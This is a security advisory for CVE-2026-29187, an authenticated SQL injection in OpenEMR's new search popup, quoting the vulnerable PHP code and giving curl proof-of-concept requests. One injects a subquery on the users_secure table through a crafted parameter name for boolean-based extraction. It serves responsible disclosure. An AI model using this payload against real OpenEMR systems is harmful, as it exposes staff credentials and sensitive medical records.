# CVE-2026-29187 - SQL Injection Vulnerability in new search popup > Weakness CWE-89 >> Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') >> The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Learn more on MITRE. ### Summary OpenEMR <8.0.0.3 contains a SQL injection vulnerability in the new search popup that can be exploited by authenticated attackers. The vulnerability exists due to insufficient input validation in the new search popup functionality. ### Details The vulnerability occurs in the new search popup functionality where user-supplied input in the select relevance column and where condition is directly concatenated into SQL queries without proper sanitization. This allows attackers to inject malicious SQL code. The vulnerability affects the following lines: - `interface/new/new_search_popup.php` [line 141](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/new/new_search_popup.php#L141) - `interface/new/new_search_popup.php` line [134](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/new/new_search_popup.php#L134) and [136](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/new/new_search_popup.php#L136) - `interface/new/new_search_popup.php` line [125](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/new/new_search_popup.php#L125) and [128](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/new/new_search_popup.php#L128) ```php foreach ($_REQUEST as $key => $value) { if (!str_starts_with((string) $key, 'mf_')) { continue; // "match field" } $fldname = substr((string) $key, 3); // pubpid requires special treatment. Match on that is fatal. if ($fldname == 'pubpid') { $relevance .= " + 1000 * ( " . add_escape_custom($fldname) . " LIKE ? )"; array_push($sqlBindArray, $value); } else { $relevance .= " + ( " . add_escape_custom($fldname) . " LIKE ? )"; array_push($sqlBindArray, $value); } $where .= " OR " . add_escape_custom($fldname) . " LIKE ?"; array_push($sqlBindArraySpecial, $value); echo "\n"; ++$numfields; } $sql = "SELECT *, ( $relevance ) AS relevance, " . "DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS " . "FROM patient_data WHERE $where " . "ORDER BY relevance DESC, lname, fname, mname " . "LIMIT " . escape_limit($fstart) . ", " . escape_limit($MAXSHOW) . ""; $sqlBindArray = array_merge($sqlBindArray, $sqlBindArraySpecial); $rez = sqlStatement($sql, $sqlBindArray); ``` ```sql SELECT *, ( 0 + ( LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100 ``` ### PoC ``` ┌──(kali㉿kali)-[~] └─$ curl -k -b "OpenEMR=5cb438753a9513cb01f5adc257ab474f" 'https://172.18.0.3/interface/new/new_search_popup.php?mf_"=test'
SQL Statement failed on preparation: SELECT *, ( 0 + ( \" LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR \" LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100'

Query Error

ERROR: query failed: SELECT *, ( 0 + ( \" LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR \" LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100

Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\" LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patien...' at line 1


/var/www/localhost/htdocs/openemr/interface/new/new_search_popup.php at 141:sqlStatement ┌──(kali㉿kali)-[~] └─$ curl -k -b "OpenEMR=5cb438753a9513cb01f5adc257ab474f" 'http://172.18.0.3/interface/new/new_search_popup.php?mf_(SELECT(username)FROM(users_secure))=ad_in%' ┌──(kali㉿kali)-[~] └─$ ``` There are multiple techniques to exploit it; one of them is a boolean-based attack, which works using the last payload: ```sql SELECT *, ( 0 + ( (SELECT(username)FROM(users_secure)) LIKE "ad_in%" ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR (SELECT(username)FROM(users_secure)) LIKE "ad_in%" ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100 ``` ### Impact - Unauthorized access to database information - Potential data breach of sensitive medical information - Server-side code execution (in some cases) - Database compromise ### Vulnerability Fix Process 1. Assess and validate the vulnerability 2. Request or assign a CVE ID 3. Create a private fork or private branch 4. Develop the fix 5. Write regression and security tests 6. Prepare release notes and security advisory draft 7. Publish the fix (code merge) and release a patched version 8. Publicly disclose the vulnerability ### Credits - Researcher: Christophe SUBLET - Organization: Grenoble INP - Esisar, UGA - Project: CyberSkills, Orion